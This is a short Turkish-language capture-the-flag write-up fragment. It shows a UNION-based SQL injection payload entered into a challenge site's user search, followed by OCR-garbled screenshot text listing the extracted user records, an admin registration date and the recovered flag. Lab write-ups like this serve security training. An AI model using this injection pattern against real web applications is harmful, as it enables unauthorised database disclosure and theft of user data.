	Reports	>						



' UNION ALL SELECT 14,concat(AdminRegdate),13,12,11,10,9,8,7,6,5,4,3,2 from tbladmin -- -

Payloadını arama kısmında kullanarak tüm kullanıcıların ID, Full Name bilgilerini çektim ve ve ekstradan Flag bilgisini içeren bir kullanıcı ile karşılaştım. Elde ettiğimiz flag'i sisteme girdik.

< >	C 88 VPN 🔒 ct	hallenge105. h ao	hackkaradeniz.xyz/k1j2uzn2q00b/search.php				x @ > > <
		_					
# }	Dashboard		Search Users				Dashboard / Search Users / Users
90	Computer	>					
a	Lusers →		Search Users				
۹	Search		Search by Userna	ame or Entry ID			
🗐 Reports >		>			⊙ Se	arch	
			Resu	lt against "' UNION ALL SELECT	T 14,concat(AdminRegd	ate),13,12,11,10,9,8,7,6,5,4,3,2 from	n tbladmin" keyword
			S.NO	Entry ID		Full Name	Action
			1	398365517		Pushkar Mishra	View Details
			2	285255862		Shanu Dev	View Details
			3	305642534		Khushi Chaursia	View Details
			4	634737642		Test user	View Details
			5	2019-08-01 08:53:46		13	View Details
			6	h4ckk4r4d3n1zb4sl1y0r		13	View Details

Flag{h4ckk4r4d3n1zb4sl1y0r}